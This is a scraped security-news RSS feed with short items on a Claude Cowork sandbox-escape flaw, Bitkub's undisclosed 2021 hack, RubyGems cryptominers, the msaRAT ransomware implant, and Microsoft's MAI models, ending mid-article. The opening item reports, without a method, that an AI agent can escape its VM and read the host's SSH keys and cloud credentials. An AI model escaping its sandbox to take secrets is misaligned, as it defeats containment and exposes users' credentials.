<guid isPermaLink="true">https://tsecurity.de/de/3690923/it-security-nachrichten/claude-cowork-sandbox-escape-flaw-lets-ai-agent-read-ssh-keys-and-cloud-credentials-from-host/</guid>
<pubDate>Fri, 24 Jul 2026 09:38:41 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A serious security flaw has been discovered in Claude Cowork’s local sandbox, allowing a malicious AI agent to escape its Linux virtual machine (VM) and access the host Mac’s filesystem. This breach can enable the agent to read sensitive information, including SSH private keys and cloud credentials, without any user prompts. The root of this […]</p>
<p>The post <a href="https://cybersecuritynews.com/claude-cowork-sandbox-escape-flaw/">Claude Cowork Sandbox Escape Flaw Lets AI Agent Read SSH Keys and Cloud Credentials From Host</a> appeared first on <a href="https://cybersecuritynews.com/">Cyber Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[CW@60: The mirror and the machine - three decades on the frontlines of the tech revolution]]></title>
<description><![CDATA[Every technology innovation and every IT project is, at its heart, a human-interest story - and those delivering the IT should always remember that, says IT services veteran Sam Kingston]]></description>
<link>https://tsecurity.de/de/3690905/it-nachrichten/cw60-the-mirror-and-the-machine-three-decades-on-the-frontlines-of-the-tech-revolution/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690905/it-nachrichten/cw60-the-mirror-and-the-machine-three-decades-on-the-frontlines-of-the-tech-revolution/</guid>
<pubDate>Fri, 24 Jul 2026 09:17:01 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Every technology innovation and every IT project is, at its heart, a human-interest story - and those delivering the IT should always remember that, says IT services veteran Sam Kingston]]></content:encoded>
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<title><![CDATA[Thailand SEC Files Criminal Complaint Against Bitkub Over 2021 Cyberattack]]></title>
<description><![CDATA[Thailand's cryptocurrency exchange Bitkub has rejected allegations of fraud after the Thailand SEC filed a criminal complaint related to the company's disclosures following the Bitkub cyberattack in 2021. The case focuses on how the exchange reported the impact of the cyberattack on Bitkub to reg...]]></description>
<link>https://tsecurity.de/de/3690896/it-security-nachrichten/thailand-sec-files-criminal-complaint-against-bitkub-over-2021-cyberattack/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690896/it-security-nachrichten/thailand-sec-files-criminal-complaint-against-bitkub-over-2021-cyberattack/</guid>
<pubDate>Fri, 24 Jul 2026 09:10:24 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="832" height="515" src="https://thecyberexpress.com/wp-content/uploads/Bitkub-cyberattack.webp" class="attachment-post-thumbnail size-post-thumbnail wp-post-image" alt="Bitkub cyberattack" decoding="async" srcset="https://thecyberexpress.com/wp-content/uploads/Bitkub-cyberattack.webp 832w, https://thecyberexpress.com/wp-content/uploads/Bitkub-cyberattack-300x186.webp 300w, https://thecyberexpress.com/wp-content/uploads/Bitkub-cyberattack-768x475.webp 768w, https://thecyberexpress.com/wp-content/uploads/Bitkub-cyberattack-600x371.webp 600w, https://thecyberexpress.com/wp-content/uploads/Bitkub-cyberattack-150x93.webp 150w, https://thecyberexpress.com/wp-content/uploads/Bitkub-cyberattack-750x464.webp 750w, https://thecyberexpress.com/wp-content/uploads/Bitkub-cyberattack.webp 832w, https://thecyberexpress.com/wp-content/uploads/Bitkub-cyberattack-300x186.webp 300w, https://thecyberexpress.com/wp-content/uploads/Bitkub-cyberattack-768x475.webp 768w, https://thecyberexpress.com/wp-content/uploads/Bitkub-cyberattack-600x371.webp 600w, https://thecyberexpress.com/wp-content/uploads/Bitkub-cyberattack-150x93.webp 150w, https://thecyberexpress.com/wp-content/uploads/Bitkub-cyberattack-750x464.webp 750w" sizes="(max-width: 832px) 100vw, 832px" title="Thailand SEC Files Criminal Complaint Against Bitkub Over 2021 Cyberattack 1"></p><span data-contrast="auto">Thailand's cryptocurrency exchange Bitkub has rejected allegations of fraud after the Thailand SEC filed a criminal complaint related to the company's disclosures following the Bitkub cyberattack in 2021. The case focuses on how the exchange reported the impact of the cyberattack on Bitkub to regulators, rather than on the safety of customer funds.</span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">In response to the complaint, Bitkub stated that all customer assets currently held on its platform remain safe, fully accounted for, and protected in accordance with applicable regulations. The company argued that the allegations stem from decisions made during the aftermath of the 2021 <a class="wpil_keyword_link" href="https://thecyberexpress.com/" title="security" data-wpil-keyword-link="linked" data-wpil-monitor-id="29116">security</a> breach and do not reflect fraudulent conduct.</span><span data-ccp-props="{}"> </span>
<h3><strong>Thailand SEC Files Complaint Over the 2021 Bitkub Cyberattack </strong></h3>
<span data-contrast="auto">On 23 July 2026, the<a href="https://www.sec.or.th/EN/Pages/News_Detail.aspx?SECID=13139" target="_blank" rel="nofollow noopener"> Thailand SEC filed a criminal complaint</a> against Bitkub Online Co., Ltd. and its former directors, Sakolkorn Sakavee and Thaweesap Rawan. The regulator alleged that the company's daily net capital reports submitted between 10 May and 30 October 2021 failed to accurately reflect the material reduction in its digital asset holdings caused by the Bitkub <a class="wpil_keyword_link" href="https://thecyberexpress.com/cyber-news/" title="cyberattack" data-wpil-keyword-link="linked" data-wpil-monitor-id="29115">cyberattack</a>.</span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">According to the regulator, the reports did not disclose the impact of the theft on the company's asset balance. The Thailand SEC also accused the two former directors of making false entries in company documents that gave the impression that customer assets were still being held normally and that the company had not suffered any damage.</span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">The complaint has been referred to Thailand's Economic Crime Suppression Division for further investigation. Following that process, the matter may be forwarded to prosecutors and the courts. The Thailand SEC noted that filing a <a href="https://thecyberexpress.com/fake-emails-scam-indians-heres-what-to-know/" target="_blank" rel="noopener">criminal complaint</a> does not represent a final determination of guilt.</span><span data-ccp-props="{}"> </span>
<h3><strong>Bitkub Says Disclosure Decision was Intended to Prevent Customer Losses</strong></h3>
<span data-contrast="auto">Following media reports about the complaint, <a href="https://www.linkedin.com/posts/on-23-july-2026-news-reports-emerged-regarding-share-7486045546315694081-abKc/?utm_source=share&amp;utm_medium=member_android&amp;rcm=ACoAAAfAnJwBMfzai0rLzfzxnZE_NCnVt2ZLE_o" target="_blank" rel="nofollow noopener">Bitkub published a statement on LinkedIn</a> explaining its position on the cyberattack and the subsequent reporting decisions.</span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">The company said the allegations relate to an incident in early May 2021, when one of its digital asset wallets was compromised by cybercriminals. Bitkub acknowledged that the breach was not disclosed at the time.</span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">According to the company, the individual responsible for disclosure obligations deliberately withheld information about the wallet compromise. Bitkub said the decision was made to avoid triggering a "bank run," or mass withdrawals of digital assets by customers, while the company worked to replace the stolen assets.</span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">The exchange stated:</span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">"The decision of such individual not to disclose the incident was made with the intention to prevent a bank run—that is, a mass withdrawal of digital assets by customers upon learning of the theft—which could have rendered the Company unable to procure sufficient replacement digital assets for the customers while the recovery process was still ongoing."</span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">Bitkub added that such a scenario could have resulted in significant customer losses and broader damage to Thailand's digital asset industry.</span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">The company also stressed that, at the time of the Bitkub <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-is-a-cyber-attack/" title="cyberattack" data-wpil-keyword-link="linked" data-wpil-monitor-id="29117">cyberattack</a>, all of its digital asset wallet security systems complied with standards prescribed by the relevant authorities and had been audited.</span><span data-ccp-props="{}"> </span>
<h3 aria-level="2"><b><span data-contrast="none">Co-founders Replaced Stolen Assets After Cyberattack on Bitkub</span></b><span data-ccp-props='{"134245418":true,"134245529":true,"335559738":160,"335559739":80}'> </span></h3>
<span data-contrast="auto">Although the digital assets stolen during the cyberattack on Bitkub were never recovered, the company said its co-founders voluntarily absorbed the <a href="https://thecyberexpress.com/keytronic-reveals-million-loss-cyberattack/" target="_blank" rel="noopener">financial loss</a>.</span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">According to Bitkub, the co-founders purchased digital assets matching the same types and quantities as those stolen and transferred them to the company. As a result, the exchange said neither its customers nor the business ultimately suffered any financial loss from the incident.</span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">In its statement, Bitkub said:</span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">"As no bank run occurred, even though the stolen digital assets could not be recovered, the Co-Founders of the Bitkub Group voluntarily absorbed the loss by purchasing equivalent digital assets (in the same type and quantity as those stolen) and providing them to the Company. Consequently, neither the Company nor its customers suffered any financial loss from the theft."</span><span data-ccp-props="{}"> </span>
<h3 aria-level="2"><b><span data-contrast="none">Thailand SEC Previously Confirmed Customer Assets Were Intact</span></b><span data-ccp-props='{"134245418":true,"134245529":true,"335559738":160,"335559739":80}'> </span></h3>
<span data-contrast="auto">Bitkub also pointed to the findings of an earlier inspection conducted by the Thailand SEC after reports of the Bitkub cyberattack surfaced online.</span><span data-ccp-props="{}"> </span><span data-contrast="auto">According to the company, the regulator verified that, as of 8 September 2025, all customer assets held by the exchange were safe and fully accounted for.</span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">The company reiterated this point in its latest statement, saying:</span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">"At the outset, for the sake of clarity and mutual understanding, the Company wishes to affirm that all customers' assets currently held by the Company are safe and fully accounted for. The Company reiterates its strict compliance with all applicable laws and regulations in safeguarding and maintaining customer assets."</span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">Bitkub maintained that the criminal complaint relates to historical reporting practices between May and October 2021, more than five years ago, rather than to the current condition of customer assets or any ongoing security concerns.</span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">As the investigation proceeds, the case will determine whether the company's reporting following the Bitkub cyberattack complied with regulatory requirements. For now, the complaint remains an allegation, and the legal process involving the Thailand SEC, investigators, prosecutors, and the courts has yet to reach a final conclusion.</span><span data-ccp-props="{}"> </span>]]></content:encoded>
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<title><![CDATA[World's First Wave Power Generator Receives Certification For Regular Use]]></title>
<description><![CDATA["The Norwegian certification agency DNV has certified the commercial wave-driven power generator Corpower C4 for regular use," writes Longtime Slashdot reader Qbertino. "German news site heise.de has a detailed write-up. See a CGI video of the power station and its internals, as well as the compa...]]></description>
<link>https://tsecurity.de/de/3690895/it-security-nachrichten/worlds-first-wave-power-generator-receives-certification-for-regular-use/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690895/it-security-nachrichten/worlds-first-wave-power-generator-receives-certification-for-regular-use/</guid>
<pubDate>Fri, 24 Jul 2026 09:10:23 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA["The Norwegian certification agency DNV has certified the commercial wave-driven power generator Corpower C4 for regular use," writes Longtime Slashdot reader Qbertino. "German news site heise.de has a detailed write-up. See a CGI video of the power station and its internals, as well as the company's website [at their respective links]." From the report (translated to English): According to the manufacturer Corpower Ocean, it is the first DNV prototype certificate for a wave energy converter. The certificate confirms that Corpower's technology meets DNV's requirements for structural strength, reliability, and safety, Corpower Ocean announced. The certification process began in the design phase and lasted seven years. DNV oversaw the process from concept development through design, manufacturing, and assembly, to dry-running tests and subsequent operation.
 
This is an important step, said Patrik Moller, CEO and one of the founders of Corpower Ocean. With the certification, wave energy is no longer just a promising technology, but a proven and financially viable one. This opens up new opportunities for project financing, insurance, and investments in commercial applications. The Corpower C4 wave power plant looks like a normal buoy: It consists of a 19-meter-long floating body with a diameter of 9 meters and a weight of approximately 11 tons. The system is anchored to the seabed. A mechanism inside the buoy converts its up-and-down movements in the waves into a rotary motion. This, in turn, drives a generator that produces electricity. The report notes that the company is "planning the first two industrial-scale wave energy farms off the coasts of Portugal and Scotland," which are scheduled to begin operating sometime between 2027 and 2029.<p></p><div class="share_submission">
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</div><p><a href="https://hardware.slashdot.org/story/26/07/24/0152240/worlds-first-wave-power-generator-receives-certification-for-regular-use?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
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<title><![CDATA[Malicious RubyGems Turn Developer Machines Into Monero Miners and Spread Through SSH]]></title>
<description><![CDATA[A malicious RubyGems campaign has turned seemingly useful developer packages into tools for hidden cryptocurrency mining. The poisoned packages can consume a machine’s computing power, slow down development work, and quietly generate Monero for the attackers. The campaign also goes…
Read more →
T...]]></description>
<link>https://tsecurity.de/de/3690841/it-security-nachrichten/malicious-rubygems-turn-developer-machines-into-monero-miners-and-spread-through-ssh/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690841/it-security-nachrichten/malicious-rubygems-turn-developer-machines-into-monero-miners-and-spread-through-ssh/</guid>
<pubDate>Fri, 24 Jul 2026 08:41:01 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A malicious RubyGems campaign has turned seemingly useful developer packages into tools for hidden cryptocurrency mining. The poisoned packages can consume a machine’s computing power, slow down development work, and quietly generate Monero for the attackers. The campaign also goes…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/malicious-rubygems-turn-developer-machines-into-monero-miners-and-spread-through-ssh/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/malicious-rubygems-turn-developer-machines-into-monero-miners-and-spread-through-ssh/">Malicious RubyGems Turn Developer Machines Into Monero Miners and Spread Through SSH</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[Malicious RubyGems Turn Developer Machines Into Monero Miners and Spread Through SSH]]></title>
<description><![CDATA[A malicious RubyGems campaign has turned seemingly useful developer packages into tools for hidden cryptocurrency mining. The poisoned packages can consume a machine’s computing power, slow down development work, and quietly generate Monero for the attackers. The campaign also goes beyond a typic...]]></description>
<link>https://tsecurity.de/de/3690797/it-security-nachrichten/malicious-rubygems-turn-developer-machines-into-monero-miners-and-spread-through-ssh/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690797/it-security-nachrichten/malicious-rubygems-turn-developer-machines-into-monero-miners-and-spread-through-ssh/</guid>
<pubDate>Fri, 24 Jul 2026 08:09:51 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A malicious RubyGems campaign has turned seemingly useful developer packages into tools for hidden cryptocurrency mining. The poisoned packages can consume a machine’s computing power, slow down development work, and quietly generate Monero for the attackers. The campaign also goes beyond a typical package-based infection. One set of malicious gems can examine a compromised developer […]</p>
<p>The post <a href="https://cybersecuritynews.com/malicious-rubygems-developer-machines/">Malicious RubyGems Turn Developer Machines Into Monero Miners and Spread Through SSH</a> appeared first on <a href="https://cybersecuritynews.com/">Cyber Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[So verlieren Hacker die Freude an Machine Identity-Angriffen - it-daily.net]]></title>
<description><![CDATA[Genau das machen sich Angreifer laut Ontinue zunutze. Anzeige. Automatisierte Suche nach exponierten Zugangsdaten. Für ihre Angriffe setzen Hacker auf ...]]></description>
<link>https://tsecurity.de/de/3690768/hacking/so-verlieren-hacker-die-freude-an-machine-identity-angriffen-it-dailynet/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690768/hacking/so-verlieren-hacker-die-freude-an-machine-identity-angriffen-it-dailynet/</guid>
<pubDate>Fri, 24 Jul 2026 07:46:18 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Genau das machen sich Angreifer laut Ontinue zunutze. Anzeige. Automatisierte Suche nach exponierten Zugangsdaten. Für ihre Angriffe setzen <b>Hacker</b> auf ...]]></content:encoded>
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<title><![CDATA[So verlieren Hacker die Freude an Machine Identity-Angriffen]]></title>
<description><![CDATA[Während Unternehmen ihre Nutzerkonten immer besser absichern, weichen Angreifer auf ein Ziel aus, das seltener überwacht wird: nicht-menschliche Cloud-Identitäten, sogenannte Service Principals.

Tags: #Cyber Security | #Identitäten]]></description>
<link>https://tsecurity.de/de/3690639/it-security-nachrichten/so-verlieren-hacker-die-freude-an-machine-identity-angriffen/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690639/it-security-nachrichten/so-verlieren-hacker-die-freude-an-machine-identity-angriffen/</guid>
<pubDate>Fri, 24 Jul 2026 06:03:08 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="1920" height="1080" src="https://www.it-daily.net/wp-content/uploads/2026/07/Hacker-Shutterstock-2131012658-1920.jpg" class="attachment-full size-full wp-post-image" alt="Hacker traurig" decoding="async" srcset="https://www.it-daily.net/wp-content/uploads/2026/07/Hacker-Shutterstock-2131012658-1920.jpg 1920w, https://www.it-daily.net/wp-content/uploads/2026/07/Hacker-Shutterstock-2131012658-1920-300x169.jpg 300w, https://www.it-daily.net/wp-content/uploads/2026/07/Hacker-Shutterstock-2131012658-1920-1024x576.jpg 1024w, https://www.it-daily.net/wp-content/uploads/2026/07/Hacker-Shutterstock-2131012658-1920-768x432.jpg 768w, https://www.it-daily.net/wp-content/uploads/2026/07/Hacker-Shutterstock-2131012658-1920-1536x864.jpg 1536w" sizes="(max-width: 1920px) 100vw, 1920px" title="So verlieren Hacker die Freude an Machine Identity-Angriffen 1"></p>
    Während Unternehmen ihre Nutzerkonten immer besser absichern, weichen Angreifer auf ein Ziel aus, das seltener überwacht wird: nicht-menschliche Cloud-Identitäten, sogenannte Service Principals.

<p>Tags: <a href="https://www.it-daily.net/thema/cyber-security">#Cyber Security</a> | <a href="https://www.it-daily.net/thema/identitaeten">#Identitäten</a></p>]]></content:encoded>
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<title><![CDATA[Elite AI-powered schools insist they provide route to excellence]]></title>
<description><![CDATA[Long-term effects of incorporating the technology into learning are still unknown, but inequalities are emerging]]></description>
<link>https://tsecurity.de/de/3690630/ai-nachrichten/elite-ai-powered-schools-insist-they-provide-route-to-excellence/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690630/ai-nachrichten/elite-ai-powered-schools-insist-they-provide-route-to-excellence/</guid>
<pubDate>Fri, 24 Jul 2026 05:48:33 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Long-term effects of incorporating the technology into learning are still unknown, but inequalities are emerging]]></content:encoded>
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<title><![CDATA[Chaos Ransomware Uses msaRAT to Route C2 Traffic Through Headless Chrome and Edge]]></title>
<description><![CDATA[The Chaos ransomware group ran its command-and-control through the victim’s own browser. Cisco Talos on Thursday detailed msaRAT, the Rust implant behind it, found on a compromised Windows machine ahead of the encryptor. The implant never opens an outbound connection of its own. Its process talks...]]></description>
<link>https://tsecurity.de/de/3690605/it-security-nachrichten/chaos-ransomware-uses-msarat-to-route-c2-traffic-through-headless-chrome-and-edge/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690605/it-security-nachrichten/chaos-ransomware-uses-msarat-to-route-c2-traffic-through-headless-chrome-and-edge/</guid>
<pubDate>Fri, 24 Jul 2026 05:19:23 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The Chaos ransomware group ran its command-and-control through the victim’s own browser. Cisco Talos on Thursday detailed msaRAT, the Rust implant behind it, found on a compromised Windows machine ahead of the encryptor. The implant never opens an outbound connection of its own. Its process talks to 127.0.0.1 and nothing else. It starts Chrome or […]]]></content:encoded>
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<title><![CDATA[How do you interpret JSIG AC-10?]]></title>
<description><![CDATA[Hello all, I am curious if anyone has to deal with the JSIG AC-10 control in their environment. As a reminder, here it is: AC-10 CONCURRENT SESSION CONTROL Control: The information system limits the number of concurrent sessions for each non-privileged and privileged to maximum of three (3) sessi...]]></description>
<link>https://tsecurity.de/de/3690512/linux-tipps/how-do-you-interpret-jsig-ac-10/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690512/linux-tipps/how-do-you-interpret-jsig-ac-10/</guid>
<pubDate>Fri, 24 Jul 2026 03:11:51 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>Hello all,</p> <p>I am curious if anyone has to deal with the JSIG AC-10 control in their environment. As a reminder, here it is:</p> <pre><code>AC-10 CONCURRENT SESSION CONTROL Control: The information system limits the number of concurrent sessions for each non-privileged and privileged to maximum of three (3) sessions. Supplemental Guidance: Organizations may define the maximum number of concurrent sessions for information system accounts globally, by account type (e.g., privileged user, non-privileged user, domain, specific application), by account, or a combination. For example, organizations may limit the number of concurrent sessions for system administrators or individuals working in particularly sensitive domains or mission-critical applications. This control addresses concurrent sessions for information system accounts and does not address concurrent sessions by single users via multiple system accounts. This control may require third party software or development of a script. </code></pre> <p>I have a solution set up in my environment that tracks how many logons a person does (stored in sqlite3 db). In my pam.d files, I have it check on logon and denies a person from opening more than 3 (ssh, console, xrdp) sessions. It works pretty good although annoying when I want to open a bunch of sessions on patch weekend.</p> <p>I am starting to question why that might matter. What I would more than likely expect to see is "control how many concurrent sessions per machine there are". This certainly seems to be what RHEL-09-412040 talks about, which is /etc/security/limits.conf "maxlogins". That could help prevent DDOS.</p> <p>How do you interpret this? How do you meet this control in your environments?</p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/Hxcmetal724"> /u/Hxcmetal724 </a> <br> <span><a href="https://www.reddit.com/r/linux/comments/1v4wns0/how_do_you_interpret_jsig_ac10/">[link]</a></span>   <span><a href="https://www.reddit.com/r/linux/comments/1v4wns0/how_do_you_interpret_jsig_ac10/">[comments]</a></span>]]></content:encoded>
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<title><![CDATA[Microsoft launches new in-house AI models it says cut costs up to 89% versus OpenAI]]></title>
<description><![CDATA[Microsoft AI released two new in-house models into public preview on Wednesday — MAI-Image-2.5-Pro, its highest-fidelity image generator to date, and MAI-Voice-2-Flash, a speech model built for high-volume enterprise workloads — while publishing production data that amounts to the company's most ...]]></description>
<link>https://tsecurity.de/de/3690504/it-nachrichten/microsoft-launches-new-in-house-ai-models-it-says-cut-costs-up-to-89-versus-openai/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690504/it-nachrichten/microsoft-launches-new-in-house-ai-models-it-says-cut-costs-up-to-89-versus-openai/</guid>
<pubDate>Fri, 24 Jul 2026 02:50:17 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a href="https://microsoft.ai/">Microsoft AI</a> released two new in-house models into public preview on Wednesday — <a href="https://microsoft.ai/news/introducing-mai-image-2-5-pro-and-mai-voice-2-flash/">MAI-Image-2.5-Pro</a>, its highest-fidelity image generator to date, and <a href="https://microsoft.ai/news/introducing-mai-image-2-5-pro-and-mai-voice-2-flash/">MAI-Voice-2-Flash</a>, a speech model built for high-volume enterprise workloads — while publishing production data that amounts to the company's most aggressive argument yet that it can power its own products without leaning on OpenAI's frontier models.</p><p>The announcement, made by <a href="https://microsoft.ai/">Microsoft AI's Superintelligence team</a>, lands roughly a year after the company committed to building purpose-built models internally, and it arrives with an unusual level of specificity about where those models now run: <a href="https://www.bing.com/">Bing</a>, <a href="https://www.microsoft.com/en-us/microsoft-365/powerpoint">PowerPoint</a>, <a href="https://www.microsoft.com/en-us/microsoft-365/onedrive/online-cloud-storage">OneDrive</a>, <a href="https://www.microsoft.com/en-us/dynamics-365">Dynamics 365</a>, <a href="https://excel.cloud.microsoft/en-us/">Excel</a>, <a href="https://github.com/features/copilot">GitHub Copilot</a>, and <a href="https://azure.microsoft.com/en-us">Azure</a>. The message to enterprise buyers — and, implicitly, to OpenAI — is that Microsoft's homegrown models are no longer research projects. They are production infrastructure serving millions of users.</p><p>"Each of these enhancements is a step toward the same goal: Microsoft products, powered by Microsoft models," the company wrote in its announcement blog.</p><h2><b>How MAI-Image-2.5-Pro and MAI-Voice-2-Flash stake out opposite ends of the AI cost curve</b></h2><p>The two new releases occupy opposite ends of what Microsoft calls the quality-speed-cost curve, and the positioning is deliberate. <a href="https://microsoft.ai/news/introducing-mai-image-2-5-pro-and-mai-voice-2-flash/">MAI-Image-2.5-Pro</a> targets the premium tier: hero imagery, detailed editing, and precise in-image text rendering — the last of which has long been a notorious weak spot for image generation models. Microsoft priced the model at $5 per million text input tokens, $8 per million image input tokens, and $106 per million image output tokens. The base <a href="https://microsoft.ai/news/introducing-mai-image-2-5-pro-and-mai-voice-2-flash/">MAI-Image-2.5</a> model recently launched at <a href="https://microsoft.ai/news/introducing-mai-image-2-5/">No. 2 for image editing on Arena</a>, the community leaderboard that has become a de facto scoreboard for generative media.</p><p>The creative industry appears to be taking notice. Rob Reilly, global chief creative officer at advertising giant WPP, called the Pro model "a strong leap forward for GenMedia tools" in a statement included in Microsoft's announcement, adding that "Microsoft has firmly established itself among the leaders in generative AI."</p><p><a href="https://microsoft.ai/news/introducing-mai-image-2-5-pro-and-mai-voice-2-flash/">MAI-Voice-2-Flash</a> goes the other direction. First previewed at Microsoft's <a href="https://news.microsoft.com/build-2026/">Build conference</a>, Flash runs twice as fast as MAI-Voice-2 and costs 32% less, priced at $15 per million characters. It is designed for the unglamorous but enormous market of high-volume voice — call centers, voice agents, and real-time speech applications where latency and cost-per-call matter more than marginal gains in expressiveness. Together, the two models reflect a strategy of building families of models rather than a single flagship, because, as the company put it, a creative studio chasing maximum fidelity has very different needs from a customer service operation handling millions of calls a day.</p><h2><b>Microsoft's production metrics show in-house models cutting GPU costs by up to 89%</b></h2><p>The model launches are arguably less newsworthy than the deployment metrics Microsoft attached to them — numbers that read like a systematic case for swapping out third-party frontier models across its product portfolio. </p><p><a href="https://explore.microsoft.com/en-us/bing/features/bing-image-creator?form=MA13FV">Bing Image Creator </a>now runs entirely on <a href="https://microsoft.ai/news/introducing-mai-image-2-5-pro-and-mai-voice-2-flash/">MAI-Image-2.5</a>, end to end, marking the first time the consumer image tool is fully in-house. In PowerPoint, Microsoft says MAI-Image-2.5 reduces GPU costs by up to 84% compared with GPT-Image-2, OpenAI's image model. In OneDrive, where MAI-Image-2.5 is now the default for key image-editing scenarios, the company reports a 26% increase in save rates, roughly 25% lower P95 latency, and 2.5 times greater efficiency under medium-utilization production workloads.</p><p>On the voice side, <a href="https://microsoft.ai/news/introducing-mai-image-2-5-pro-and-mai-voice-2-flash/">MAI-Voice-2-Flash</a> now powers Dynamics 365 Contact Center — the platform used by customers including T-Mobile and EasyJet — where Microsoft claims GPU cost reductions of up to 89%. The model is also integrated into Azure Voice Live for developers building speech-to-speech agents.</p><p>Perhaps the most consequential deployment sits in healthcare. Microsoft's <a href="https://www.microsoft.com/en-us/health-solutions/clinical-workflow/dragon-copilot">Dragon Copilot</a>, used by 170,000 medical providers and responsible for processing 28 million patient encounters last quarter, now runs on MAI-Transcribe-1.5 for its multilingual workflow across 58 languages. Microsoft says internal evaluations show a 50% relative reduction in both transcription and language-identification error rates across most languages — a meaningful claim in a domain where transcription errors can propagate directly into clinical notes.</p><h2><b>Inside the 'hill-climbing' strategy that lets small models beat GPT-5.6 in Excel</b></h2><p>In a companion post published the same day, Microsoft detailed the methodology behind these results — what it calls its "<a href="https://microsoft.ai/news/hill-climbing-mai-models-for-github-copilot-and-excel/">hill-climbing machine</a>," an integrated flywheel of data, models, and the product "harness" that surrounds them.</p><p>The clearest example is <a href="https://microsoft.ai/news/introducingmai-code-1-flash/">MAI-Code-1-Flash</a>, the lightweight coding model launched in GitHub Copilot in June. Microsoft says the model achieves an approximately 10% higher code accept rate than GPT-5.4 Mini and Claude Haiku 4.5 in VS Code, while using 10% fewer median tokens. Developer retention tells a similar story: users were 6% more likely to return across multiple days than with GPT-5.4 Mini, and 11% more likely than with Claude Haiku 4.5.</p><p>Then Microsoft did something more interesting. It took the MAI-Code-1-Flash checkpoint and further <a href="https://microsoft.ai/news/hill-climbing-mai-models-for-github-copilot-and-excel/">trained it inside an Excel reinforcement learning environment</a>, teaching a coding model the tools and workflows of spreadsheet knowledge work. The result, according to production user feedback, is a model on par with GPT-5.6 for the most common Excel tasks — while being small enough to run on Nvidia's older H100 and even A100 GPUs rather than requiring the latest-generation accelerators.</p><p>That hardware detail deserves emphasis. Every major AI company is fighting for allocation of cutting-edge chips, and a model that delivers frontier-adjacent quality on two-generation-old silicon fundamentally changes the deployment economics. It also frees the newest hardware — including Microsoft's now-operational GB200 cluster — for training rather than serving.</p><h2><b>Satya Nadella's 'frontier diffusion' manifesto redraws the OpenAI relationship</b></h2><p>Microsoft CEO Satya Nadella framed the announcements in a lengthy post on X titled "<a href="https://x.com/satyanadella/status/2080329851127669104">Frontier Diffusion &amp; Control</a>," which functions as something close to a strategic manifesto. "We can now take saturated frontier capabilities and deliver them at scale and at lower cost through models optimized for high-usage products, while continuing to use frontier models for frontier needs," Nadella wrote, adding that Microsoft is "beginning to route traffic across our first-party surfaces to MAI whenever our models match or outperform frontier alternatives."</p><p>Translated from executive prose: capabilities that were state-of-the-art a year ago are now table stakes, and Microsoft believes it can replicate them cheaply for the specific, repetitive tasks that dominate real product usage. Why pay frontier prices for a frontier model when a user just wants to reformat a spreadsheet column?</p><p>Nadella was careful to note that "frontier models from OpenAI and Anthropic are part of the orchestration system alongside MAI" — but he also articulated a pointed principle of model independence, arguing that a company's evaluations "should continue to hill climb even when any given model has been removed." </p><p>“Keeping the harness, memory, context, and skills outside the model, he argued, is what gives Microsoft control. The subtext is hard to miss. Reuters reported in April that Microsoft’s <a 